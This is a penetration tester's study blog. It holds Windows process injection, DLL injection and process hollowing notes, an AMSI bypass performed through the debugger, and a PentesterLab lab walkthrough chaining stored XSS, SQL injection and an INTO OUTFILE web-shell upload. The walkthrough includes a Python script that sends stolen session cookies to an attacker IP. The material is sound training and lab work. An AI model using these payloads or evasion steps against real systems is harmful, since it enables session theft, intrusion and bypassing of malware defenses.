# Welcome to the Blog

## Socials

* **Old Articles/Research:** [sarthaksaini.com](https://sarthaksaini.com)&#x20;
* **Twitter:** [@Sarthak\_0000](https://twitter.com/sarthak_0000)
* **Linkedin:** [@sarthaksaini899](https://linkedin.com/in/sarthaksaini899/)&#x20;
* **Github:** [Geek-Repo](https://github.com/geek-repo)&#x20;
* **Search Engine:**  [Red Team Database](https://search.redteam.fail)
* **Redteam.fail Discord Server:** [Red Team Resources](https://discord.gg/eTZ6drR89h)

## Certifications

* Offensive Security Certified Professional (OSCP)
* Offensive Security Experienced Penetration Tester (OSEP)
* OffSec AI Red Teamer (OSAI)&#x20;
* Offensive Security Web Expert (OSWE)
* Certified Red Team Professional (CRTP)
* Certified Red Team Master (CRTM)
* Certified Red Team Expert (CRTE)
* Certified Red Team Operator (CRTO)

## Email

<contact@sarthaksaini.com>


# Process Injection

My Personal Diary during the journey of OSEP :)

## [Process Injection Basics](/osep-notes/process-injection/vanilla-process-injection)


# Vanilla Process Injection

This section will document the standard process Injection notes

#### Process Injection

In order to perform vanilla process Injection we require three following Win32 api calls

* VirtualAllocEx
* WriteProcessMemory
* CreateRemoteThread

**VirtualAllocEx**

This Win32 API call is used for allocating space in the memory space of the remote process or current process (depends upon the parsed process)

\[syntax]

```csharp
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, 
  uint dwSize, uint flAllocationType, uint flProtect);
```

\[Argument Explanation]

* hProcess: The handle of the remote process or current process to be passed as IntPtr
* lpAddress: The desired address in the memory space as we want this to be automatically allocated we will pass IntPtr.Zero so that API can allocate space automatically
* dwSize: Size to be allocated (In Bytes) for example 0x1000 (passed for 1000 bytes)
* flAllocationType: This is to specify the type of memory allocation:
  * MEM\_COMMIT: Allocates memory charges (from the overall size of memory and the paging files on disk) for the specified reserved memory pages (0x1000)
  * MEM\_RESERVE: Reserves a range of the process's virtual address space without allocating any actual physical storage in memory or in the paging file on disk (0x2000)
  * In order to pass them together in the API Call we will pass them as 0x3000
* flProtect: This parameter specifies the memory protection for the region of pages to be allocated, for us we need Read, Write and Execute permissions so the constant value for it is 0x40

\[Final Form]

```csharp
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
```

**WriteProcessMemory**

This Win32 API call is used for writing the shellcode to the allocated memory space

\[syntax]

```csharp
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, 
    byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
```

\[Argument Explanation]

* hProcess: The handle of the remote process or current process to be passed as IntPtr
* lpBaseAddress: It requires the handle to the memory space we allocated earlier
* lpBuffer: The Buffer to be copied (the shellcode basically)
* nSize: The length of the buffer (buf.length)
* lpNumberOfBytesWritten: It requires a pointer to the memory to output how much data was copied, basically we don't need this so we will create a fake variable as IntPtr and pass it.

\[Final Form]

```csharp
IntPtr outSize;
WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);
```

**CreateRemoteThread**

This Win32 API call will create a thread which will run in the virtual address space of another process

\[syntax]

```csharp
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, 
 uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
```

\[Argument Explanation]

* hProcess: The handle of the remote process or current process to be passed as IntPtr
* lpThreadAttributes: This is to specify a security descriptor for the new thread which will determine if child process can inherit, we don't need this hence we will pass as `IntPtr.Zero` as NULL.
* dwStackSize: The initial size of stack in bytes, we will pass `0` so new thread will use default size
* lpStartAddress: We will pass the pointer of the memory space which we allocated and written earlier
* lpParameter: This parameter is for any arguments to be passed with the function, which we currently don't have so we will pass `IntPtr.Zero` as NULL
* dwCreationFlags: This flag will control what happens after the thread is created, we will pass `0` so that it starts executing immediately after cration
* lpThreadId: Pointer to a variable that receives the thread identifier, we don't need this so we will pass `IntPtr.Zero` as NULL

\[Final Form]

```csharp
IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
```

These are all the Win32 API calls which is needed for process injection, I will not post any code because already a lot of examples are available publicly so the best idea is to supply a link to the Exact Process Injection code available online:

* Process Injection By [Chvancooten](https://github.com/chvancooten/OSEP-Code-Snippets/tree/main/Shellcode%20Process%20Injector)

`Note: These are my personal notes which might be inaccurate`


# DLL Injection

This section will document the standard DLL Injection notes

In order to perform DLL Injection we require three following Win32 api calls

* VirtualAllocEx
* WriteProcessMemory
* CreateRemoteThread

Since we can not directly call LoadLibraryA function in the remote process we will be using a trick to load the DLL dynamically in remote process, for that we need to find the address of LoadLibraryA in the remote process and Invoke it using CreateRemoteThread, Follow the steps:

* Download the DLL using WebClient and store the absolute path to the DLL in a string variable
* Open a handle in the remote process,
* Allocate space in the memory of remote process using VirtualAllocEx, we will store the path of DLL in the memory
* Convert the string to Bytes using `Encoding.Default.GetBytes` and write it in the allocated space using WriteProcessMemory
* Use GetProcAddress with GetModule Handle to find the address of LoadLibraryA from kernel32.dll in the remote process
* In order to Invoke the LoadLibraryA, we will use CreateRemoteThread function with the address of LoadLibrayA function at 4th argument and pass the Allocated Space which contains the absolute path of DLL as 5th Argument.

**WriteProcessMemory**

This Win32 API call is used for writing the absolute address of DLL to the allocated memory space

\[syntax]

```csharp
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, 
    byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
```

\[Argument Explanation]

* hProcess: The handle of the remote process or current process to be passed as IntPtr
* lpBaseAddress: It requires the handle to the memory space we allocated earlier
* lpBuffer: The Buffer to be copied (convert the string which contains the path to DLL in Bytes and store it)
* nSize: The length of the buffer (dllpath.length)
* lpNumberOfBytesWritten: It requires a pointer to the memory to output how much data was copied, basically we don't need this so we will create a fake variable as IntPtr and pass it.

\[Final Form]

```csharp
Boolean res = WriteProcessMemory(process_handle, allocated_addr, Encoding.Default.GetBytes(dllname), dllname.Length, out Numberofbytes);
```

**GetModuleHandle**

This Win32 API call will be used to return the handle for a module (DLL or exe) i.e Kernel32.dll

\[syntax]

```csharp
[DllImport("kernel32.dll", CharSet=CharSet.Unicode, SetLastError=true)]
public static extern IntPtr GetModuleHandle(string lpModuleName);
```

\[Argument Explanation]

* lpModuleName: we need to pass the module (dll or exe) whose handle we want to have

\[Final Form]

```csharp
Intptr hHandle = GetModuleHandle("kernel32.dll");
```

**GetProcAddress**

This Win32 API call will return the handle to a function from the module

\[syntax]

```csharp
[DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)]
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
```

\[Argument Explanation]

* hModule: Handle to the module, which we obtained using GetModuleHandle API call
* procName: Procedure Name or function name from the module whose handle we want to have

\[Final Form]

```csharp
IntPtr loadlib_addr = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
```

**CreateRemoteThread**

This Win32 API call will create a thread which will run in the virtual address space of another process and will invoke the LoadLibraryA function while passing the DLL Path as Argument.

\[syntax]

```csharp
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, 
 uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
```

\[Argument Explanation]

* hProcess: The handle of the remote process or current process to be passed as IntPtr
* lpThreadAttributes: This is to specify a security descriptor for the new thread which will determine if child process can inherit, we don't need this hence we will pass as `IntPtr.Zero` as NULL.
* dwStackSize: The initial size of stack in bytes, we will pass `0` so new thread will use default size
* lpStartAddress: We will pass the LoadLibraryA function handle to invoke this function
* lpParameter: We will pass the pointer of the memory space which we allocated and written earlier which will be treated as argument to the LoadLibraryA function
* dwCreationFlags: This flag will control what happens after the thread is created, we will pass `0` so that it starts executing immediately after cration
* lpThreadId: Pointer to a variable that receives the thread identifier, we don't need this so we will pass `IntPtr.Zero` as NULL

\[Final Form]

```csharp
IntPtr test;
IntPtr thread = CreateRemoteThread(process_handle, IntPtr.Zero, 0, loadlib_addr, allocated_addr, 0, out test);
```

**References**

* <https://ppn.snovvcrash.rocks/red-team/maldev/code-injection/dll-injectors>


# Process Hollowing

Process Hollowing is the technique in which we can modify the process before it starts executing.

By starting the process in `Suspended` mode using the CreateProcess API.

### CreateProcess API

CreateProcess API will do 3 things before starting the execution of the binary

1. It will allocate the virtual memory space for the new process
2. It will allocate the stack along with TEB (Thread Environment Block) and PEB (Process Environment Block)
3. It will loads the DLLs and the EXE to the memory.

### Key points required for process hollowing

1. **zwqueryinformationprocess** : It is a winapi call which can be used to retrieve information about the process.

```csharp
NTSTATUS WINAPI ZwQueryInformationProcess(
  _In_      HANDLE           ProcessHandle,
  _In_      PROCESSINFOCLASS ProcessInformationClass,
  _Out_     PVOID            ProcessInformation,
  _In_      ULONG            ProcessInformationLength,
  _Out_opt_ PULONG           ReturnLength
);
```

* ProcessHandle: Handle to the Process
* ProcessInformationClass: Type of information to be retrieved from the process
* ProcessInformation:
* ProcessInformationLength:
* ReturnLength:

#### ProcessInformationClass

We will select the `ProcessBasicInformation` which is `0` because we need the PEB address, the whole table is present [here](https://docs.microsoft.com/en-us/windows/win32/procthread/zwqueryinformationprocess)

We need PEB address because we can then find the `base address` of the executable, then it can be parsed in order to find the `Entrypoint` of the EXE.

#### WorkFlow (To find BaseAddress of executable)

```
ProcessInformationClass --> ProcessBasicInformation --> PEB address --> 0x10 bytes into PEB --> Base Address of Executable Reached 
```

1. Now, We have the PEB address but we can not read it, because it's on a remote process. So in order to read it we can use `ReadProcessMemory`.

#### ReadProcessMemory

This will be used to read the contents of the PEB at offset of `0x10`

#### PE File Structure (Read more at [Here](obsidian://open?vault=OSEP_NOTES\&file=PE%20Header))

After reaching to the base address, we will read `0x200` bytes (using `ReadProcessMemory`) from the base address.

#### Workflow (To read the offset to e\_lfanew)

By analysing these `0x200` bytes, we will find the address of `e_lfanew` at `0x3c` offset from the base address of executable.

```
Base Address of Executable Reached  --> ReadProcessMemory --> 0x200 bytes  --> inspect the 0x200 memory space locally --> 0x3c from base address locally --> e_lfanew reached
```

* **e\_lfanew**: 4 byte offset which tells us where the PE header is located (offset to PE Header)
* ADD the offset we got from `e_lfanew` to `BaseAddress of executable`

```
e_lfanew offset + base address of executable == PE Header memory address
```

Now we need to navigate to the `AddressofEntryPoint` which is `0x28` from the **PE header** location

```
PE Header memory address --> 0x28 --> AddressofEntryPoint (we got offset as its RVA)
```

#### AddressofEntryPoint (0x28 from PE Header)

Here we will get the RVA for `Entrypoint` of the application, and RVA is just an `offset` so it needs to be Added with the base address of the remote proccess to find the absolute virtual memory address.

```
Base Address of Executable Reached --> ADD RVA in it --> Base address of the entrypoint of application is reached.
```

### Case Study

**Steps before actual calculations**

1. Start the process in `Suspended` mode
2. Use `zwqueryinformationprocess` to find the PEB Address

**Now Actual Case Study**

* we have the PEB Address: `0x3004000`

**Task: Find the memory address of the entrypoint of the application**

1. We ADD `0x10` in PEB Address == (`0x3004010`) -> to find the Base Address of the executable, we read the value of the address above and it comes out as `0x7ffff01000000`

* Base Address of the Executable == `0x7ffff01000000`

1. Read the `0x200` bytes using `ReadProcessMemory` for inspecting locally
2. Check the `0x3c` location from `Base Address of the Executable` == `0x7ffff0100003c` to find the e\_lfanew header

* e\_lfanew header at `0x7ffff0100003c` will give the offset to `PE Header`
* `PE Header` the offset we got is `0x110`

Add the total offset bytes to the `Base Address of the Executable` -> `0x7ffff01000000` + `0x110` == `0x7ffff01000110`

* So PE Header is at `0x7ffff01000110`

1. From PE Header, we need to read `0x28` ahead in order to find the RVA for `Entrypoint` of the application

* PE Header memory address + `0x28` -> `0x7ffff01000110` + `0x28` == `0x7ffff01000138`
* RVA memory address found (`0x7ffff01000138`)
* So navigating to this address will lead us to the `Entrypoint of the application`

1. Add the offset received from RVA to `Base Address of the Executable`

```
PEB Address -> base address of executable (0x10) -> e_lfanew (base address of executable + 0x3c) -> PE Header (offset got from e_lfanew + base address of executable) -> RVA to Application entry point (PE Header + 0x28 bytes)
```

1. Now we just need to overwrite the memory space from this `Base Address of the Executable` with our shellcode to run it


# AMSI


# AMSI Basics

Basics of Antimalware Scan Interface (AMSI)

### Introduction

When a process instantiates amsi.dll gets loaded into the process and following are the series of events which occurs during the life of process

**AMSI Life Cycle**

* amsi.dll invokes AmsiInitialize function which basically create amsiContext (AmsiContext will be used in all upcoming api calls)
* When a user enters a command and press enter, AmsiOpenSession will be called which accept the amsicontext and a pointer called amsiSession
  * amsiSession will be used throughout the analysis of that particular command
* After creating the amsiSession, AmsiScanBuffer will be called with the arguments

**AmsiScanBuffer**

\[Syntax]

```csharp
HRESULT AmsiScanBuffer(
  [in]           HAMSICONTEXT amsiContext,
  [in]           PVOID        buffer,
  [in]           ULONG        length,
  [in]           LPCWSTR      contentName,
  [in, optional] HAMSISESSION amsiSession,
  [out]          AMSI_RESULT  *result
);
```

\[Explanation]

* amsiContext: this is the context which is returned from AmsiInitialize function at the time of process creation.
* Buffer: The buffer from which to read the data to be scanned.
* Length: The length, in bytes, of the data to be read from buffer.
* contentName: The filename, URL, unique script ID, or similar of the content being scanned
* amsiSession: The HAMSISESSION handle provided by amsiOpenSession function.
* Result: The result of the scan.
  * 1 = means no malicious activity detected
  * 32768 = means command is malicious


# Bypassing AMSI

Bypassing the Antimalware Scan Interface (AMSI)

#### AMSI Bypass

As discussed earlier, AmsiScanBuffer is the function which gets called as soon as a user enters the command in the powersehll.

**AmsiOpenSession**

\[Structure]

```csharp
HRESULT AmsiOpenSession(
  [in]  HAMSICONTEXT amsiContext,
  [out] HAMSISESSION *amsiSession
);
```

\[explanation]

* amsiContext: this is the context which is returned from AmsiInitialize function at the time of process creation.
* amsiSession: This is a session which is created for each command as everytime a new command is issued in powershell, the AmsiOpenSession function gets called.

**Bypass Theory**

`Stage 0` The Key to bypass the AMSI is to somehow crash the amsiSession function, in order to do so we need to look upon the undocumented amsiContext Structure using frida we can easily get the memory address of this structure.

<figure><img src="https://3912578635-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAzpELxD4ignZMzxO7xah%2Fuploads%2FagLlGle2ZzQdImm5lKDC%2Fimage.png?alt=media&amp;token=89686306-0823-480d-9e68-5c609a066821" alt=""><figcaption><p>Content of amsiOpenContext </p></figcaption></figure>

Upon navigating to the memory address using Windows Debugger, it was revealed that first 4 bytes of the Context contains ASCII string `AMSI` which is same throughout different processes.

`Stage 1`

Now we know that AmsiContext structure has AMSI in the first four bytes, using this information we will navigate through the `AmsiOpenSession` function in windows debugger.

<figure><img src="https://3912578635-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAzpELxD4ignZMzxO7xah%2Fuploads%2FrlmfY763dpxGvyONjDcr%2Fimage.png?alt=media&amp;token=fb227a63-372b-4315-b445-08f3faa7a003" alt=""><figcaption><p>Disassembled AmsiOpenSession</p></figcaption></figure>

It can be seen that RCX register is being compared to the `49534D41` which is nothing else but `AMSI` in ASCII and next instruction is `jump if fail` which will return the function with error.

`Stage 2`

In order to crash the function, we simply need to remove the content of RCX register just before it is compared.

We will place a breakpoint at the amsiOpenSession function and enter any command to trigger the breakpoint

<figure><img src="https://3912578635-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAzpELxD4ignZMzxO7xah%2Fuploads%2FL5A9jX63cULvZyuRLI5J%2Fimage.png?alt=media&amp;token=fcb452a9-4bf6-44a7-8306-c33d6f02b6a6" alt=""><figcaption><p>Breakpoint reached</p></figcaption></figure>

Now zeroing out the value of RCX register in order fail the If condition.

<figure><img src="https://3912578635-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAzpELxD4ignZMzxO7xah%2Fuploads%2FDi9DLd2gklgiD3DtxKGx%2Fimage.png?alt=media&amp;token=b8774a64-118d-4ee6-b410-ef6d184c1503" alt=""><figcaption><p>Removing the content of RCX</p></figcaption></figure>

This will effectively kill the AMSI in powershell process which can be seen below\..&#x20;

<figure><img src="https://3912578635-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAzpELxD4ignZMzxO7xah%2Fuploads%2F8RPdzu2d2mTwbDQnMER2%2Fimage.png?alt=media&amp;token=e23d6a54-d638-473c-b53c-096e08536a50" alt=""><figcaption><p>AMSI Bypassed</p></figcaption></figure>

That was the approach to bypass AMSI using Windows Debugger.


# XSS To RCE (AWAE)

Hey guys welcome to my article about source-code analysis and finding vulnerabilites on a PHP website and for the test we will be using [this](https://pentesterlab.com/exercises/xss_and_mysql_file/course), it's a basic web-app vulnerable program for learning the web-app but we will analyse the source code and automate the exploitation with python. [Link](https://pentesterlab.com/exercises/xss_and_mysql_file/iso) for iso. Kudos to [Wetw0rk](https://github.com/wetw0rk/AWAE-PREP/tree/master/XSS%20and%20MySQL).

### OBJECTIVES TO BE ACHIEVED

1. Trigger xss --> Find the vulnearble function<br>
2. COOKIE Stealing<br>
3. SQL Injection --> Code analysis of PHP files under the<br>
4. OUTFILE to upload shell<br>
5. RCE<br>

### Hunt Began

So we will begin with analysing the source code of the first page which is index.php

#### Index.php

**Source Code**

```php
<?php
  $site = "PentesterLab vulnerable blog";
  require "header.php";
  $posts = Post::all();
?>
  <div class="block" id="block-text">
    <div class="secondary-navigation">
      <div class="content">
      <?php 
        foreach ($posts as $post) {
            echo $post->render(); 
      } ?> 
     </div>
 
    </div>
  </div>


<?php


  require "footer.php";
?>
```

<br>

First thing I noticed is the calling the function `all` from the class `Post` let's find where this class exist by using grep

```
root@debian:/var/www# grep -iRn "Class Post" --color .
./classes/post.php:3:class Post{
root@debian:/var/www# 
```

**Command explanation**

* i (it ignore the ignore case distinctions)
* R (Search Recursively)
* n (Displays Line number)

#### Classes/post.php

So let's look into the function `all`\
**Source Code** (We will only show the snippet which is important to us or for further analysis)

```php
function all($cat=NULL,$order =NULL) {
    $sql = "SELECT * FROM posts";
    if (isset($order)) 
      $sql .= "order by ".mysql_real_escape_string($order);  
    $results= mysql_query($sql);
    $posts = Array();
    if ($results) {
      while ($row = mysql_fetch_assoc($results)) {
        $posts[] = new Post($row['id'],$row['title'],$row['text'],$row['published']);
      }
    }
    else {
      echo mysql_error();
    }
    return $posts;
  }
```

\
Upon looking into this function we can't get anything useful to us for exploitation so let's see any other page from website interface...

So next page is `post.php` Let's analyse it :)

#### Post.php

**Source Code**

```php
<?php
  $site = "PentesterLab vulnerable blog";
  require "header.php";
  $post = Post::find(intval($_GET['id']));
?>
  <div class="block" id="block-text">
    <div class="secondary-navigation">
      <div class="content">
      <?php 
            echo $post->render_with_comments(); 
      ?> 
     </div>

      <form method="POST" action="/post_comment.php?id=<?php echo htmlentities($_GET['id']); ?>"> 
        Title: <input type="text" name="title" / ><br/>
        Author: <input type="text" name="author" / ><br/>
        Text: <textarea name="text" cols="80" rows="5">
        </textarea><br/>
        <input type="submit" name="submit" / >
      </form> 
    </div>

  </div>


<?php

  require "footer.php";
?>
```

<br>

From the looks of this page we can clearly say that *id* parameter is not vulnerable to sql injection

```
Code:-$post = Post::find(intval($_GET['id']));
```

Anything which is being passed to `id` parameter will be converted to integer and even if we go ahead and try to insert a string or anything let's see what happens..

![Target Website with ID Parameter](https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MVFVBxg3vBTy1eGgE0B%2Fuploads%2Fgit-blob-8b30e67687e5dab5e3d73cdbc26065037b4ea537%2FSelection_007.png?alt=media)

See that error now we know why it's happening so let's move forward ...

We shall see which file is handling those comments and to see that i will intercept with burp ...

![Request Intercept](https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MVFVBxg3vBTy1eGgE0B%2Fuploads%2Fgit-blob-244cccc90bb2b7531e8598f05076e7c4c12a48b3%2FSelection_008.png?alt=media)

File which is handling the comments is `post_comment.php` So let's analyse it...

#### post\_comment.php

**Source Code**

```php
<?php
  $site = "PentesterLab vulnerable blog";
  require "header.php";
  $post = Post::find(intval($_GET['id']));
  if (isset($post)) {
    $ret = $post->add_comment();
  }
  header("Location: post.php?id=".intval($_GET['id']));
  die();
?>
```

On first look we can see again the `classes\post.php` was used and the functions were `find` as well as `add_comment()`

Let's analyse both functions ...

**Find function**

```php
function find($id) {
    $result = mysql_query("SELECT * FROM posts where id=".$id);
    $row = mysql_fetch_assoc($result); 
    if (isset($row)){
      $post = new Post($row['id'],$row['title'],$row['text'],$row['published']);
    }
    return $post;
  
  }
```

We can see that this function is taking id parameter as argument and checking it if exists then after validiating it exists it's creating a object of `Post` class and passing the values to the constructor

***Constuctor***

```php
class Post{
  public $id, $title, $text, $published;
  function __construct($id, $title, $text, $published){
    $this->title= $title;
    $this->text = $text;
    $this->published= $published;
    $this->id = $id;
  }
```

We can see that this is accepting the values and assigning them to the local variables of this object...

Where the variables are the values which were passed from the comment section...\
***Burpsuite captured***

```
title=test&author=sarthak&text=hello+world++++++++&submit=Submit
```

Now we know what `find` function does so we shall look at `add_comment()` function

**add\_comment function**

```php
function add_comment() {
    $sql  = "INSERT INTO comments (title,author, text, post_id) values ('";
    $sql .= mysql_real_escape_string($_POST["title"])."','";
    $sql .= mysql_real_escape_string($_POST["author"])."','";
    $sql .= mysql_real_escape_string($_POST["text"])."',";
    $sql .= intval($this->id).")";
    $result = mysql_query($sql);
    echo mysql_error(); 
  }
```

From Looking at the snippet we can see the values which were accepted from POST request are directly being stored in the database without any checks, Let's verify from logging into the mysql ...

***Commands Used***

```
sudo su
mysql
use blog;
select * from comments;
```

**OUTPUT**

```
mysql> select * from comments;
+----+-------+---------------------+---------+-----------+---------+
| id | title | text                | author  | published | post_id |
+----+-------+---------------------+---------+-----------+---------+
|  1 | test  | hello world         | sarthak | NULL      |       1 |
+----+-------+---------------------+---------+-----------+---------+
1 row in set (0.00 sec)
```

We can see the data being stored so let's try to insert some javascript values `<script>document.cookie</script>`<br>

![Payload Injected](https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MVFVBxg3vBTy1eGgE0B%2Fuploads%2Fgit-blob-1a25ef80f8e20f82c47f65011a78e3d337abe602%2FSelection_009.png?alt=media)

**OUTPUT**

```
mysql> select * from comments;
+----+-------+----------------------------------+---------+-----------+---------+
| id | title | text                             | author  | published | post_id |
+----+-------+----------------------------------+---------+-----------+---------+
|  1 | test  | hello world                      | sarthak | NULL      |       1 |
|  2 | test  | <script>document.cookie</script> | sarthak | NULL      |       1 |
+----+-------+----------------------------------+---------+-----------+---------+
2 rows in set (0.00 sec)
```

Awesome we can insert anythinginside it but we shall how this data will be printed on the screen ...For that we shall look again at `post.php` snippet

```php
<?php
  $site = "PentesterLab vulnerable blog";
  require "header.php";
  $post = Post::find(intval($_GET['id']));
?>
  <div class="block" id="block-text">
    <div class="secondary-navigation">
      <div class="content">
      <?php 
            echo $post->render_with_comments(); 
      ?> 
     </div>

      <form method="POST" action="/post_comment.php?id=<?php echo htmlentities($_GET['id']); ?>"> 
        Title: <input type="text" name="title" / ><br/>
        Author: <input type="text" name="author" / ><br/>
        Text: <textarea name="text" cols="80" rows="5">
        </textarea><br/>
        <input type="submit" name="submit" / >
      </form> 
    </div>

  </div>


<?php

  require "footer.php";
?>
```

Notice this part `code:-echo $post->render_with_comments();`

There's another function in `classes/post.php` named `render_with_comments()` let's analyse it

**render\_with\_comments()**

```php
function render_with_comments() {
    $str = "<h2 class=\"title\"><a href=\"/post.php?id=".h($this->id)."\">".h($this->title)."</a></h2>";
    $str.= '<div class="inner" style="padding-left: 40px;">';
    $str.= "<p>".htmlentities($this->text)."</p></div>";   
    $str.= "\n\n<div class='comments'><h3>Comments: </h3>\n<ul>";
    foreach ($this->get_comments() as $comment) {
      $str.= "\n\t<li>".$comment->text."</li>";
    }
    $str.= "\n</ul></div>";
    return $str;
  }
```

Here we can Notice:-

```php
foreach ($this->get_comments() as $comment) {
      $str.= "\n\t<li>".$comment->text."</li>";
    }
```

That the value of `text` field is being printed without any filtering so this gives us a green flag for ***Stored xss*** So, Let's Try to insert a basic xss popup payload...<br>

![Payload Triggered Successfully](https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MVFVBxg3vBTy1eGgE0B%2Fuploads%2Fgit-blob-49653872cf6aad388efe21d9f5bbf4b50c13194e%2FSelection_010.png?alt=media)

So we can do stored xss let's automate this with python and grab cookies :)

**trigger function**

```python
r=requests.Session()

target_url="http://192.168.0.5/"

attacker_ip="192.168.0.9"  # FOR xss

os.system("clear")

def trigger():
    print("[+] Creating xss vector")
    port=randint(5000,9000)
    vector="<script>document.location='http://{}:{}/' +escape(document.cookie)</script>".format(attacker_ip,port)
    print("[+] Sending xss vector")
    sender(vector,port)
```

We created some variables and used `randint` function from `random` class to generate random 4 digit port address and then the payload is being created it's basic payload to open the url with javascript with `document.cookie` and sent the payload and port to `sender` function

**sender function**

```python
def sender(xss,port):
    url=target_url+"post_comment.php?id=1"
    data={'title':'lolzz','author':'aaa','text': xss,'submit':'Submit'}
    proxy={'http':'127.0.0.1:8080'}
    out=r.post(url,data=data)
    if out.status_code==200:
        print("[+] xss payload sent Successful")
        cookie=servers(port)
        login_admin(cookie)
```

In this function we created the `data` field which had the variables for **POST** request with the xss payload in text field and sent it by `requests` module's post method so by this we can easily make a comment on the website and the `servers` function will create a local listner using sockets on the port created by randint

**servers function**

```python
def servers(port):
    HOST = ''
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.bind((HOST, port))
        s.listen(1)
        conn, addr = s.accept()
        with conn:
            m=conn.recv(2048)
            print("[+] xss triggered capturing cookies to login")
            out=re.findall("PHPSESSID\%3D.*HTTP",m.decode('utf-8'))
            out=out[0].replace("PHPSESSID%3D","").replace("HTTP","")
            return (out.replace("\n","").replace("\t",""))
```

In this function i have done some horrible regex to filter out the cookie and return it back to the `cookie` variable used in the `trigger function` and later on it will be used to login in the admin panel by using the `login_admin()` function.

But for now we will just login by intercepting the request by burpsuite and changing the cookies...<br>

![Login Successful
](https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MVFVBxg3vBTy1eGgE0B%2Fuploads%2Fgit-blob-137f5629ad310aa09e8f876a98ad7d35a5e01076%2FSelection_011.png?alt=media)

Now that we have logged in as admin and we are at `http://192.168.0.5/admin/index.php` page so let's look into the source code of pages inside the `admin` directory one by one...

We'll start with `edit.php` as this php file is used to edit the comments which could be directly in relation with backend mysql queries...

**edit.php**

```php
<?php 
  require("../classes/auth.php");
  require("header.php");
  require("../classes/db.php");
  require("../classes/phpfix.php");
  require("../classes/post.php");

  $post = Post::find($_GET['id']);
  if (isset($_POST['title'])) {
    $post->update($_POST['title'], $_POST['text']);
  } 
?>
  
  <form action="edit.php?id=<?php echo htmlentities($_GET['id']);?>" method="POST" enctype="multipart/form-data">
    Title: 
    <input type="text" name="title" value="<?php echo htmlentities($post->title); ?>" /> <br/>
    Text: 
      <textarea name="text" cols="80" rows="5">
        <?php echo htmlentities($post->text); ?>
       </textarea><br/>

    <input type="submit" name="Update" value="Update">

  </form>

<?php
  require("footer.php");
```

So here we can see that `find` function is being used of `classes/post.php` to get the data from the mysql let's see the function code

**find function**

```php
function find($id) { 
    $result = mysql_query("SELECT * FROM posts where id=".$id);
    $row = mysql_fetch_assoc($result); 
    if (isset($row)){
      $post = new Post($row['id'],$row['title'],$row['text'],$row['published']);
    }
    return $post;
```

Aha! here we can see that the user input(id) variable is being directly passed without any checks or validiation so there has to be a sql injection on this...Let's try :)

![Injected Query
](https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MVFVBxg3vBTy1eGgE0B%2Fuploads%2Fgit-blob-f348052a9060944e879d7f87108ca0a686dd09cc%2FSelection_012.png?alt=media)

```
URL:-http://192.168.0.5/admin/edit.php?id=-1%20union%20select%201,%22we%20got%20it%20boys%22,3,4%23
```

Now we shall try to save files on the server (To be honest this part was just a hit and try because i didn't knew we have enough privs to save files..found out after trying)

But before that we shall see the `write` permissions on the `www` directory

```
root@debian:/var/www# ls -lha
total 20K
drwxr-xr-x  6 www-data www-data 210 Jan  2  2014 .
drwxr-xr-x 19 root     root     140 Oct 10  2013 ..
drwxr-xr-x  3 www-data www-data 164 Jan  2  2014 admin
-rw-r--r--  1 www-data www-data 601 Oct 10  2013 all.php
-rw-r--r--  1 www-data www-data 510 Oct 10  2013 cat.php
drwxr-xr-x  2 www-data www-data 114 Jan  2  2014 classes
drwxrwxrwx  2 www-data www-data  67 Jan  2  2014 css
-rw-r--r--  1 www-data www-data 15K Oct 10  2013 favicon.ico
-rw-r--r--  1 www-data www-data 185 Oct 10  2013 footer.php
-rw-r--r--  1 www-data www-data 749 Oct 10  2013 header.php
drwxrwxrwx  2 www-data www-data  30 Jan  2  2014 images
-rw-r--r--  1 www-data www-data 369 Oct 10  2013 index.php
-rw-r--r--  1 www-data www-data 243 Oct 10  2013 post_comment.php
-rw-r--r--  1 www-data www-data 722 Oct 10  2013 post.php
root@debian:/var/www# 
```

I can see 2 possible candidate directories **css and images**

#### Uploading shell

So first we shall construct our basic payload to write a file in css directory...

```
Code:-union select 1,"hello sarthak",3,4 into outfile "/var/www/css/lol.php"%23

```

![Upload Successful](https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MVFVBxg3vBTy1eGgE0B%2Fuploads%2Fgit-blob-4e56aec41cf4260f00d48baaacbc578bbdd11520%2FSelection_013.png?alt=media)

